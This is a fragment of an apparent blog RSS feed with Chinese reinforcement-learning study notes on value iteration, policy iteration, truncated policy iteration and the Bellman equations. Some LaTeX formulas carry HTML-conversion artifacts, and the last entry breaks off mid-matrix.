&lt;p&gt;&lt;strong&gt;结论&lt;/strong&gt;：通过引入 $\epsilon$-Greedy，不再需要 exploring starts 条件 (即允许从所有的状态出发的假设)。&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>RL学习笔记：值迭代与策略迭代</title><link>https://zh.maxtonniu.com/blog/rl_chapter04</link><guid isPermaLink="true">https://zh.maxtonniu.com/blog/rl_chapter04</guid><description>深入解析值迭代（Value Iteration）与策略迭代（Policy Iteration）的核心算法流程，推导策略更新与值更新的数学形式。探讨了截断策略迭代（Truncated Policy Iteration）如何通过调整评估步数，在统一视角下连接这两种经典算法。</description><pubDate>Wed, 18 Feb 2026 10:30:00 GMT</pubDate><content:encoded>&lt;h1&gt;值迭代与策略迭代&lt;/h1&gt;
&lt;h2&gt;值迭代 (Value Iteration)&lt;/h2&gt;
&lt;p&gt;值迭代通过迭代更新值函数 $v_k$ 来逼近最优值函数 $v_*$。其核心迭代公式为：&lt;/p&gt;
&lt;p&gt;$$
v_{k+1} = f(v_k) = \max_{\pi} (r_{\pi} + \gamma P_{\pi} v_k), \quad k = 1, 2, 3 \dots
$$&lt;/p&gt;
&lt;p&gt;该过程可分解为两个步骤：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;策略更新 (Policy Update)&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;$$
\pi_{k+1} = \arg\max_{\pi} (r_{\pi} + \gamma P_{\pi} v_k)
$$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;值更新 (Value Update)&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;$$
v_{k+1} = r_{\pi_{k+1}} + \gamma P_{\pi_{k+1}} v_k
$$&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;em&gt;注：此处的 $v_k$ 是第 $k$ 次迭代的估值向量，而非最终的 state value。&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;1. 策略更新 (Policy Update)&lt;/h3&gt;
&lt;p&gt;$$
\pi_{k+1} = \arg\max_{\pi} (r_{\pi} + \gamma P_{\pi} v_k)
$$&lt;/p&gt;
&lt;p&gt;其逐元素形式 (Elementwise form) 为：&lt;/p&gt;
&lt;p&gt;$$
\pi_{k+1}(s) = \arg\max_{\pi} \sum_{a} \pi(a|s) \underbrace{\left( \sum_{r} p(r|s,a)r + \gamma \sum_{s&apos;} p(s&apos;|s,a)v_k(s&apos;) \right)}_{q_k(s,a)}, \quad s \in \mathcal{S}
$$&lt;/p&gt;
&lt;p&gt;由此得到的 $\pi_{k+1}$ 为贪婪策略 (Greedy Policy)，即在状态 $s$ 下选择使 $q_k(s,a)$ 最大的动作 $a_k^*(s)$：&lt;/p&gt;
&lt;p&gt;$$
a_k^*(s) = \arg\max_{a} q_k(a, s)
$$&lt;/p&gt;
&lt;p&gt;$$
\pi_{k+1}(a|s) = \begin{cases} 1, &amp;#x26; a = a_k^&lt;em&gt;(s) \ 0, &amp;#x26; a \neq a_k^&lt;/em&gt;(s) \end{cases}
$$&lt;/p&gt;
&lt;h3&gt;2. 值更新 (Value Update)&lt;/h3&gt;
&lt;p&gt;$$
v_{k+1} = r_{\pi_{k+1}} + \gamma P_{\pi_{k+1}} v_k
$$&lt;/p&gt;
&lt;p&gt;其逐元素形式为：&lt;/p&gt;
&lt;p&gt;$$
v_{k+1}(s) = \sum_{a} \pi_{k+1}(a|s) \underbrace{ \left( \sum_{r} p(r|s,a)r + \gamma \sum_{s&apos;} p(s&apos;|s,a)v_k(s&apos;) \right) }_{q_k(s,a)}, \quad s \in \mathcal{S}
$$&lt;/p&gt;
&lt;p&gt;由于 $\pi_{k+1}$ 是贪婪策略，上式等价于：&lt;/p&gt;
&lt;p&gt;$$
v_{k+1}(s) = \max_{a} q_k(a, s)
$$&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;策略迭代 (Policy Iteration)&lt;/h2&gt;
&lt;p&gt;策略迭代包含以下步骤：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;初始化&lt;/strong&gt;：给定一个随机的初始策略 $\pi_0$。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;策略评估 (Policy Evaluation, PE)&lt;/strong&gt;：计算当前策略的状态价值 $v_{\pi_k}$。&lt;/p&gt;
&lt;p&gt;$$
v_{\pi_k} = r_{\pi_k} + \gamma P_{\pi_k} v_{\pi_k}
$$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;策略提升 (Policy Improvement, PI)&lt;/strong&gt;：基于当前价值生成更好的策略。&lt;/p&gt;
&lt;p&gt;$$
\pi_{k+1} = \arg \max_{\pi} (r_\pi + \gamma P_\pi v_{\pi_k})
$$&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;1. 策略评估 (Policy Evaluation)&lt;/h3&gt;
&lt;p&gt;求解 $v_{\pi_k}$ 通常采用迭代法：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;矩阵-向量形式&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;$$
v_{\pi_k}^{(j+1)} = r_{\pi_k} + \gamma P_{\pi_k} v_{\pi_k}^{(j)}, \quad j = 0, 1, 2, \dots
$$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;逐元素形式&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;$$
v_{\pi_k}^{(j+1)}(s) = \sum_{a} \pi_k(a|s) \left( \sum_{r} p(r|s, a)r + \gamma \sum_{s&apos;} p(s&apos;|s, a)v_{\pi_k}^{(j)}(s&apos;) \right), \quad s \in \mathcal{S}
$$&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;停止条件：当 $j \to \infty$ 或 $| v_{\pi_k}^{(j+1)} - v_{\pi_k}^{(j)} |$ 足夠小时停止迭代。&lt;/p&gt;
&lt;h3&gt;2. 策略提升 (Policy Improvement)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;矩阵-向量形式&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;$$
\pi_{k+1} = \arg \max_{\pi} (r_\pi + \gamma P_\pi v_{\pi_k})
$$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;逐元素形式&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;$$
\pi_{k+1}(s) = \arg \max_{\pi} \sum_{a} \pi(a|s) \underbrace{\left( \sum_{r} p(r|s, a)r + \gamma \sum_{s&apos;} p(s&apos;|s, a)v_{\pi_k}(s&apos;) \right)}&lt;em&gt;{q&lt;/em&gt;{\pi_k}(s, a)}, \quad s \in \mathcal{S}
$$&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;令 $a_k^*(s) = \arg \max_{a} q_{\pi_k}(a, s)$，更新策略为确定性贪婪策略：&lt;/p&gt;
&lt;p&gt;$$
\pi_{k+1}(a|s) = \begin{cases} 1, &amp;#x26; a = a_k^&lt;em&gt;(s) \ 0, &amp;#x26; a \neq a_k^&lt;/em&gt;(s) \end{cases}
$$&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;截断策略迭代 (Truncated Policy Iteration)&lt;/h2&gt;
&lt;p&gt;我们可以从“策略评估的步数”这一角度来统一值迭代和策略迭代：&lt;/p&gt;
&lt;p&gt;$$
\begin{alignat*}{2}
\text{Policy Iteration: } &amp;#x26; \pi_0 \xrightarrow{PE} v_{\pi_0} \xrightarrow{PI} \pi_1 \xrightarrow{PE} v_{\pi_1} \xrightarrow{PI} \pi_2 \dots \
\text{Value Iteration: }  &amp;#x26; \phantom{\pi_0 \xrightarrow{PE}} v_0 \xrightarrow{PU} \pi_1&apos; \xrightarrow{VU} v_1 \xrightarrow{PU} \pi_2&apos; \dots
\end{alignat*}
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Policy Iteration&lt;/strong&gt;：$\text{P} \to \text{vvvv...} \to \text{P} \to \text{vvvv...}$ (评估至收敛)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Value Iteration&lt;/strong&gt;：$\text{P} \to \text{v} \to \text{P} \to \text{v} \to \text{P} \to \text{v}$ (评估仅做一步)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;统一视角下的算法对比：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;$$
\begin{array}{rll}
&amp;#x26; v_{\pi_1}^{(0)} = v_0 &amp;#x26; \text{初始值} \
\text{Value Iteration} \leftarrow v_1 \longleftarrow &amp;#x26; v_{\pi_1}^{(1)} = r_{\pi_1} + \gamma P_{\pi_1} v_{\pi_1}^{(0)} &amp;#x26; \text{(只迭代 1 次)} \
&amp;#x26; v_{\pi_1}^{(2)} = r_{\pi_1} + \gamma P_{\pi_1} v_{\pi_1}^{(1)} &amp;#x26; \
&amp;#x26; \quad \vdots &amp;#x26; \
\text{Truncated Policy Iteration} \leftarrow \bar{v}&lt;em&gt;1 \longleftarrow &amp;#x26; v&lt;/em&gt;{\pi_1}^{(j)} = r_{\pi_1} + \gamma P_{\pi_1} v_{\pi_1}^{(j-1)} &amp;#x26; \text{(迭代 j 次)} \
&amp;#x26; \quad \vdots &amp;#x26; \
\text{Policy Iteration} \leftarrow v_{\pi_1} \longleftarrow &amp;#x26; v_{\pi_1}^{(\infty)} = r_{\pi_1} + \gamma P_{\pi_1} v_{\pi_1}^{(\infty)} &amp;#x26; \text{(迭代至收敛)}
\end{array}
$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：标准的 Policy Iteration 要求在每一步都精确求解 $v_{\pi_k}$（即 $j \to \infty$），这在实际计算中往往不可行或效率低下。因此，实际应用中使用的通常是 &lt;strong&gt;Truncated Policy Iteration&lt;/strong&gt;，即限制评估步数 $j$。&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>RL学习笔记：贝尔曼最优公式</title><link>https://zh.maxtonniu.com/blog/rl_chapter03</link><guid isPermaLink="true">https://zh.maxtonniu.com/blog/rl_chapter03</guid><description>推导了贝尔曼最优方程（Bellman Optimality Equation）及其不动点性质，解析了Value Iteration的收敛原理（Contraction Mapping），并讨论了系统模型与奖励函数对最优策略的决定作用。</description><pubDate>Tue, 17 Feb 2026 17:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;贝尔曼最优公式 (Bellman Optimality Equation)&lt;/h1&gt;
&lt;h2&gt;定义&lt;/h2&gt;
&lt;p&gt;对于所有状态 $s \in \mathcal{S}$，如果策略 $\pi^&lt;em&gt;$ 的状态价值函数 $v_{\pi^&lt;/em&gt;}(s)$ 均不小于任何其他策略 $\pi$ 的状态价值函数 $v_{\pi}(s)$，即：&lt;/p&gt;
&lt;p&gt;$$
v_{\pi^*}(s) \geq v_{\pi}(s), \quad \forall s \in \mathcal{S}, \forall \pi
$$&lt;/p&gt;
&lt;p&gt;则称策略 $\pi^&lt;em&gt;$ 为&lt;strong&gt;最优策略&lt;/strong&gt;。最优策略对应的状态价值称为&lt;strong&gt;最优状态价值函数&lt;/strong&gt;，记为 $v^&lt;/em&gt;(s)$。&lt;/p&gt;
&lt;h2&gt;最优公式推导&lt;/h2&gt;
&lt;p&gt;最优状态价值函数 $v^*(s)$ 满足贝尔曼最优公式。其核心思想是：最优价值等于在当前状态下执行&lt;strong&gt;最优动作&lt;/strong&gt;所获得的期望回报。&lt;/p&gt;
&lt;h3&gt;标量形式&lt;/h3&gt;
&lt;p&gt;$$
\begin{aligned}
v^&lt;em&gt;(s) &amp;#x26;= \max_{a \in \mathcal{A}} q^&lt;/em&gt;(s, a) \
&amp;#x26;= \max_{a \in \mathcal{A}} \left( \sum_{r \in \mathcal{R}} p(r|s,a)r + \gamma \sum_{s&apos; \in \mathcal{S}} p(s&apos;|s,a)v^*(s&apos;) \right)
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;若将其写成对策略 $\pi$ 的最大化形式，则有：&lt;/p&gt;
&lt;p&gt;$$
v^&lt;em&gt;(s) = \max_{\pi} \sum_{a \in \mathcal{A}} \pi(a|s) q^&lt;/em&gt;(s, a)
$$&lt;/p&gt;
&lt;p&gt;由于加权平均值不可能超过最大值，即：&lt;/p&gt;
&lt;p&gt;$$
\sum_{a \in \mathcal{A}} \pi(a|s) q^&lt;em&gt;(s, a) \leq \max_{a \in \mathcal{A}} q^&lt;/em&gt;(s, a)
$$&lt;/p&gt;
&lt;p&gt;等号成立的条件是策略 $\pi$ 将概率完全分配给使 $q^&lt;em&gt;(s,a)$ 最大的动作。这意味着最优策略 $\pi^&lt;/em&gt;$ 是确定性的（Deterministic）：&lt;/p&gt;
&lt;p&gt;$$
\pi^&lt;em&gt;(a|s) =
\begin{cases}
1, &amp;#x26; a = \arg\max_{a&apos; \in \mathcal{A}} q^&lt;/em&gt;(s, a&apos;) \
0, &amp;#x26; \text{其他}
\end{cases}
$$&lt;/p&gt;
&lt;h3&gt;向量形式&lt;/h3&gt;
&lt;p&gt;我们将求解 $v^&lt;em&gt;$ 的过程视为算子操作。定义最优贝尔曼算子 $\mathcal{T}^&lt;/em&gt;$，则贝尔曼最优公式是不动点方程：&lt;/p&gt;
&lt;p&gt;$$
v^* = \mathcal{T}^&lt;em&gt;(v^&lt;/em&gt;)
$$&lt;/p&gt;
&lt;p&gt;具体展开为：&lt;/p&gt;
&lt;p&gt;$$
v^* = \max_{\pi} (r_{\pi} + \gamma P_{\pi} v^*)
$$&lt;/p&gt;
&lt;p&gt;其中：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$r_{\pi}$ 是策略 $\pi$ 下的平均即时奖励向量，$[r_{\pi}]&lt;em&gt;s = \sum&lt;/em&gt;{a} \pi(a|s) \sum_{r} p(r|s,a)r$&lt;/li&gt;
&lt;li&gt;$P_{\pi}$ 是策略 $\pi$ 下的状态转移矩阵，$[P_{\pi}]&lt;em&gt;{s,s&apos;} = \sum&lt;/em&gt;{a} \pi(a|s) p(s&apos;|s,a)$&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;压缩映射与不动点 (Contraction Mapping)&lt;/h2&gt;
&lt;p&gt;贝尔曼最优算子 $\mathcal{T}^*$ 在 $\gamma \in [0, 1)$ 时满足&lt;strong&gt;压缩映射定理 (Contraction Mapping Theorem)&lt;/strong&gt;。这意味着：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;存在性&lt;/strong&gt;：存在唯一的不动点 $v^&lt;em&gt;$ 满足 $v^&lt;/em&gt; = \mathcal{T}^&lt;em&gt;(v^&lt;/em&gt;)$。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;收敛性&lt;/strong&gt;：对于任意初始价值 $v_0$，迭代序列 $v_{k+1} = \mathcal{T}^&lt;em&gt;(v_k)$ 必然收敛至 $v^&lt;/em&gt;$。
&lt;ul&gt;
&lt;li&gt;即 $\lim_{k \to \infty} v_k = v^*$。&lt;/li&gt;
&lt;li&gt;收敛速度呈几何级数（指数级收敛），受折扣因子 $\gamma$ 控制。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;值迭代 (Value Iteration) 的本质&lt;/h3&gt;
&lt;p&gt;值迭代算法利用了上述不动点性质，迭代公式为：&lt;/p&gt;
&lt;p&gt;$$
v_{k+1} = \max_{\pi} (r_{\pi} + \gamma P_{\pi} v_k)
$$&lt;/p&gt;
&lt;p&gt;这一步操作实际上包含了两个隐式过程：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;策略截断 (Policy Improvement)&lt;/strong&gt;：
基于当前的价值估计 $v_k$，寻找一个贪心策略（Greedy Policy），即选择当前看来 $q$ 值最大的动作。&lt;/p&gt;
&lt;p&gt;$$
\pi_{greedy} = \arg\max_{\pi} (r_{\pi} + \gamma P_{\pi} v_k)
$$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;价值评估 (Policy Evaluation)&lt;/strong&gt;：
假设执行上述贪心动作，计算其一步期望回报作为新的价值估计 $v_{k+1}$。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;总结&lt;/strong&gt;：值迭代就是每一轮都“抢”当前最好的动作，计算其价值，并在下一轮基于新价值继续“抢”最好的动作。&lt;/p&gt;
&lt;h2&gt;最优策略的决定因素&lt;/h2&gt;
&lt;p&gt;最优策略 $\pi^*$ 由以下公式决定：&lt;/p&gt;
&lt;p&gt;$$
\pi^&lt;em&gt;(s) = \arg\max_{a} \left( \sum_{r} p(r|s,a)r + \gamma \sum_{s&apos;} p(s&apos;|s,a)v^&lt;/em&gt;(s&apos;) \right)
$$&lt;/p&gt;
&lt;h3&gt;关键影响因子&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;系统动力学 (System Dynamics)&lt;/strong&gt;：$p(s&apos;|s, a)$ 和 $p(r|s, a)$。这是环境的物理法则，通常不可变。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;折扣因子 (Discount Factor)&lt;/strong&gt; $\gamma$：
&lt;ul&gt;
&lt;li&gt;$\gamma \to 0$：Agent 变得“近视”，只关注即时奖励 (Immediate Reward)。&lt;/li&gt;
&lt;li&gt;$\gamma \to 1$：Agent 变得“远视”，重视长期累积回报。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;奖励函数 (Reward Function)&lt;/strong&gt; $r$：
&lt;ul&gt;
&lt;li&gt;奖励的&lt;strong&gt;相对数值&lt;/strong&gt;比绝对数值更重要。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;奖励函数的仿射变换 (Affine Transformation)&lt;/h3&gt;
&lt;p&gt;如果对奖励函数进行线性变换：&lt;/p&gt;
&lt;p&gt;$$
r&apos;(s, a, s&apos;) = \alpha \cdot r(s, a, s&apos;) + \beta
$$&lt;/p&gt;
&lt;p&gt;其中 $\alpha &gt; 0$ 且 $\beta$ 为常数。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;对价值函数的影响&lt;/strong&gt;：新的价值函数 $v&apos;$ 与原价值函数 $v$ 呈线性关系。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;$$
v&apos;(s) = \alpha v(s) + \frac{\beta}{1-\gamma}
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;对策略的影响&lt;/strong&gt;：最优策略&lt;strong&gt;保持不变&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;$$
\arg\max_a q&apos;(s,a) = \arg\max_a \left( \alpha q(s,a) + \frac{\beta}{1-\gamma} \right) = \arg\max_a q(s,a)
$$&lt;/p&gt;
&lt;p&gt;这表明，只要保持奖励之间的偏序关系和相对比例，具体的数值大小不会改变最优行为模式。&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>RL学习笔记：贝尔曼公式</title><link>https://zh.maxtonniu.com/blog/rl_chapter02</link><guid isPermaLink="true">https://zh.maxtonniu.com/blog/rl_chapter02</guid><description>详细梳理了State Value与Action Value的定义，推导了贝尔曼期望方程（Bellman Expectation Equation）的通用形式及其矩阵表达。</description><pubDate>Mon, 16 Feb 2026 20:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;贝尔曼公式 (Bellman Equation)&lt;/h1&gt;
&lt;h2&gt;1. 基本定义&lt;/h2&gt;
&lt;p&gt;强化学习的交互过程可以描述为：&lt;/p&gt;
&lt;p&gt;$$
S_{t} \xrightarrow{A_{t}} R_{t+1}, S_{t+1}&lt;/p&gt;
&lt;p&gt;$$&lt;/p&gt;
&lt;h3&gt;核心变量&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;$t, t+1$: 离散时间点。&lt;/li&gt;
&lt;li&gt;$S_{t}$: 时间 $t$ 时的状态 (State)。&lt;/li&gt;
&lt;li&gt;$A_{t}$: 在 $S_{t}$ 状态下采取的动作 (Action)。&lt;/li&gt;
&lt;li&gt;$R_{t+1}$: 采取 $A_{t}$ 后得到的即时奖励 (Reward)。&lt;/li&gt;
&lt;li&gt;$S_{t+1}$: 采取 $A_{t}$ 后转移到的新状态 (Next State)。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：$S_{t}, A_{t}, R_{t+1}$ 均为 &lt;strong&gt;随机变量 (Random Variables)&lt;/strong&gt;。这意味着交互的每一步都是由概率分布 (Probability Distribution) 决定的，因此我们可以对它们求期望。&lt;/p&gt;
&lt;h3&gt;轨迹 (Trajectory)与回报 (Return)&lt;/h3&gt;
&lt;p&gt;交互过程形成的时间序列轨迹如下：&lt;/p&gt;
&lt;p&gt;$$
S_{t} \xrightarrow{A_{t}} R_{t+1}, S_{t+1} \xrightarrow{A_{t+1}} R_{t+2}, S_{t+2} \xrightarrow{A_{t+2}} R_{t+3}, \dots&lt;/p&gt;
&lt;p&gt;$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;折扣回报 (Discounted Return)&lt;/strong&gt; 定义为从时间 $t$ 开始的累积折扣奖励：&lt;/p&gt;
&lt;p&gt;$$
G_{t} = R_{t+1} + \gamma R_{t+2} + \gamma^{2}R_{t+3} + \dots = \sum_{k=0}^{\infty} \gamma^k R_{t+k+1}
$$&lt;/p&gt;
&lt;p&gt;其中$ \gamma \in [0, 1]$ 为折扣因子。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. 状态价值 (State Value)&lt;/h2&gt;
&lt;h3&gt;定义&lt;/h3&gt;
&lt;p&gt;$v_{\pi}(s)$ 被称为状态价值函数 (State-Value Function)，简称 State Value。它是回报 $G_t$ 的数学期望：&lt;/p&gt;
&lt;p&gt;$$
v_{\pi}(s) = \mathbb{E}[G_{t} \mid S_{t}=s]
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;它是状态 $s$ 的函数。&lt;/li&gt;
&lt;li&gt;它的值取决于当前的策略 $\pi$。&lt;/li&gt;
&lt;li&gt;它代表了处于该状态的“价值”。价值越高，意味着在该策略下从该状态出发的前景越好。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;核心区别&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Return ($G_t$) vs State Value ($v_{\pi}(s)$)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Return&lt;/strong&gt; 是基于&lt;strong&gt;单次&lt;/strong&gt;轨迹的现实累积收益，是一个随机变量。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;State Value&lt;/strong&gt; 是基于&lt;strong&gt;所有可能&lt;/strong&gt;轨迹（在特定策略 $\pi$ 下）对 Return 求得的数学期望（统计均值）。&lt;/li&gt;
&lt;li&gt;只有当策略和环境完全确定（只有唯一轨迹）时，二者在数值上才等价。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;3. 贝尔曼公式推导&lt;/h2&gt;
&lt;p&gt;贝尔曼公式描述了当前状态价值与未来状态价值之间的递归关系：&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
v_{\pi}(s) &amp;#x26;= \mathbb{E}[R_{t+1} + \gamma G_{t+1} \mid S_{t}=s] \
&amp;#x26;= \underbrace{\mathbb{E}[R_{t+1} \mid S_{t}=s]}&lt;em&gt;{\text{即时奖励的期望}} + \gamma \underbrace{\mathbb{E}[G&lt;/em&gt;{t+1} \mid S_{t}=s]}_{\text{未来奖励的期望}}
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;展开后的通用形式：&lt;/p&gt;
&lt;p&gt;$$
v_{\pi}(s) = \sum_{a \in \mathcal{A}}\pi(a|s) \left[ \sum_{r \in \mathcal{R}}p(r|s,a)r + \gamma \sum_{s^{\prime} \in \mathcal{S}}p(s^{\prime}|s,a)v_{\pi}(s^{\prime}) \right], \quad \text{for all } s \in \mathcal{S}
$$&lt;/p&gt;
&lt;h3&gt;第一部分：即时奖励的期望 (Mean of Immediate Rewards)&lt;/h3&gt;
&lt;p&gt;$$
\begin{aligned}
\mathbb{E}[R_{t+1}|S_t = s] &amp;#x26;= \sum_{a \in \mathcal{A}} \pi(a|s) \mathbb{E}[R_{t+1}|S_t = s, A_t = a] \
&amp;#x26;= \sum_{a \in \mathcal{A}} \pi(a|s) \sum_{r \in \mathcal{R}} p(r|s, a)r
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;此处应用了概率论中的 &lt;strong&gt;全期望公式 (Law of Total Expectation)&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$\pi(a|s)$: &lt;strong&gt;权重&lt;/strong&gt;（采取该动作的概率）。&lt;/li&gt;
&lt;li&gt;$\mathbb{E}[R|s, a]$: &lt;strong&gt;条件期望&lt;/strong&gt;（在该动作下的平均奖励）。&lt;/li&gt;
&lt;li&gt;$\sum$: &lt;strong&gt;加权求和&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;理解&lt;/strong&gt;：如果是确定性策略（Deterministic Policy），求和号中仅有一项非零；但在通用的随机策略下，必须遍历所有可能的动作进行加权。&lt;/p&gt;
&lt;h3&gt;第二部分：未来奖励的期望 (Mean of Future Rewards)&lt;/h3&gt;
&lt;p&gt;$$
\begin{aligned}
\mathbb{E}[G_{t+1}|S_t = s] &amp;#x26;= \sum_{s&apos; \in \mathcal{S}} \mathbb{E}[G_{t+1}|S_t = s, S_{t+1} = s&apos;] p(s&apos;|s) \
&amp;#x26;= \sum_{s&apos; \in \mathcal{S}} \mathbb{E}[G_{t+1}|S_{t+1} = s&apos;] p(s&apos;|s) \quad \text{(马尔可夫性质)} \
&amp;#x26;= \sum_{s&apos; \in \mathcal{S}} v_\pi(s&apos;) p(s&apos;|s) \
&amp;#x26;= \sum_{s&apos; \in \mathcal{S}} v_\pi(s&apos;) \sum_{a \in \mathcal{A}} p(s&apos;|s, a)\pi(a|s)
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;本质&lt;/strong&gt;：计算“从当前状态看，未来的平均价值是多少”。
该推导将未来回报的期望拆解为三个核心要素的乘积之和：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;策略&lt;/strong&gt; $\pi(a|s)$：我们怎么做选择。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;环境动力学&lt;/strong&gt; $p(s&apos;|s,a)$：环境如何转移状态。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;下一状态的价值&lt;/strong&gt; $v_\pi(s&apos;)$：未来有多好。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;4. 矩阵与向量形式&lt;/h2&gt;
&lt;p&gt;为了便于计算，我们可以定义以下两个辅助项：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;平均即时奖励向量&lt;/strong&gt; $r_{\pi}$：&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;$$
r_{\pi}(s) \doteq \sum_{a \in \mathcal{A}} \pi(a|s) \sum_{r \in \mathcal{R}} p(r|s, a)r
$$&lt;/p&gt;
&lt;p&gt;&lt;em&gt;含义：将动作概率与动作产生的奖励融合，计算出当前状态 $s$ 的综合即时奖励期望。&lt;/em&gt;&lt;/p&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;状态转移矩阵&lt;/strong&gt; $P_{\pi}$：&lt;/p&gt;
&lt;p&gt;$$
p_{\pi}(s&apos;|s) \doteq \sum_{a \in \mathcal{A}} \pi(a|s)p(s&apos;|s, a)
$$&lt;/p&gt;
&lt;p&gt;&lt;em&gt;含义：忽略具体的动作选择，直接描述在当前策略 $\pi$ 下，从状态 $s$ 流向 $s&apos;$ 的统计规律。&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;由此得到贝尔曼公式的矩阵形式 (Bellman Expectation Equation)：&lt;/p&gt;
&lt;p&gt;$$
v_{\pi} = r_{\pi} + \gamma P_{\pi}v_{\pi}
$$&lt;/p&gt;
&lt;h3&gt;矩阵展开示例&lt;/h3&gt;
&lt;p&gt;假设有 4 个状态：&lt;/p&gt;
&lt;h1&gt;$$
\underbrace{
\begin{bmatrix}
v_\pi(s_1) \
v_\pi(s_2) \
v_\pi(s_3) \
v_\pi(s_4)
\end{bmatrix}
}&lt;em&gt;{v&lt;/em&gt;\pi}&lt;/h1&gt;
&lt;p&gt;\underbrace{
\begin{bmatrix}
r_\pi(s_1) \
r_\pi(s_2) \
r_\pi(s_3) \
r_\pi(s_4)
\end{bmatrix}
}&lt;em&gt;{r&lt;/em&gt;\pi}&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;\gamma
\underbrace{
\begin{bmatrix}
p_\pi(s_1|s_1) &amp;#x26; p_\pi(s_2|s_1) &amp;#x26; p_\pi(s_3|s_1) &amp;#x26; p_\pi(s_4|s_1) \
p_\pi(s_1|s_2) &amp;#x26; p_\pi(s_2|s_2) &amp;#x26; p_\pi(s_3|s_2) &amp;#x26; p_\pi(s_4|s_2) \
